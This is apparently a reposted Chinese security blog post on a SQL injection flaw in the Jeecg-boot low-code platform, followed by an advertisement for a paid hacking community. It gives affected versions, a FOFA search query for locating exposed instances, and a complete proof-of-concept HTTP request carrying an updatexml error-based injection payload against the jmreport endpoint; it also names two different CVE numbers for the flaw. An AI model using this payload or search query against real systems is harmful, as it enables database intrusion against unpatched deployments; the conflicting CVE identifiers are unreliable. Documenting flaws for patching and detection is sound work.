Jeecg-boot SQL注入 | CVE-2023-34659(附POC)

免责声明  由于传播、利用WK安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，WK安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！

0x01 漏洞介绍

    JEECG-BOOT是一款基于BPM的低代码平台，零代码开发！采用前后端分离架构：SpringBoot 2.x,Ant Design&Vue,Mybatis-plus,Shiro,JWT。强大的代码生成器让前后端代码一键生成，无需写任何代码！帮助Java项目解决70%的重复工作，让开发更关注业务逻辑，既能快速提高开发效率，帮助公司节省成本，同时又不失灵活性！ 

    CVE-2023-1454是一个SQL注入漏洞，该漏洞可以远程发起攻击，对参数apiSelectId的操作导致SQL注入。

0x02 影响版本

jeecg-boot 3.5.1 jeecg-boot 3.5.0

0x03 漏洞特征

FOFA

body="jeecg-boot"

0x04 漏洞POC

后台回复"230720"领取nuclei脚本

POST /jeecg-boot/jmreport/show HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36Connection: closeContent-Length: 147Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip
{  "id": "961455b47c0b86dc961e90b5893bff05",  "apiUrl": "",  "params": {    "id ": "1 ' or ' % 1 % ' like (updatexml(0x3a,concat(1,(version())),1)) or ' % % ' like '"  }}

参考链接

https://github.com/projectdiscovery/nuclei-templates/blob/b755b67aae69c9b3b6beeed10b06c4466bd6c7c4/http/cves/2023/CVE-2023-34659.yaml#L2

湘安无事团队 知识星球 一次付费，永久免费，享受两大内部群+星球双重福利（付费之后会拉入内部成员群，直接免费续上）。有需要的直接添加上面微信 118永久，私我支付，直接拉内部成员群，扫码支付，三天后拉内部成员群。

内部群共享

1.fofa高级会员账号

2.360quake高级会员

3.某在线高级会员靶场账号（附带wp）

4.专属内部漏洞库（持续更新）

5.原创漏洞挖掘报告

6.it课表众多好课（持续更新，内容涉及安全+开发等）

7.在线答疑，不定期直播技术分享【湘南第一深情、wuli等】

8.源码网站永久会员共享

星球介绍：

星球针对安全新人有优秀学习资源，星球专属嘉宾进行问题解答，

性价比很高。

如果你是入门不久，想要提升漏洞挖掘能力，那该星球是个不错的选择，星球内拥有

专属漏洞报告，

各种奇淫技巧、挖洞技术、专属嘉宾在线问答等。

欢迎您的加入，星球部分内容请你查看！！

星球内容介绍

星球内部提供众多好课

安全类：web安全、内网、src挖掘、kail、逆向、游戏漏洞挖掘、免杀等

开发类：python安全开发、java、Golang、php等开发课程

专栏提供内部漏洞库

专栏内容预览

扫码查看更多内容

文章引用微信公众号"WK安全",如有侵权,请联系管理员删除!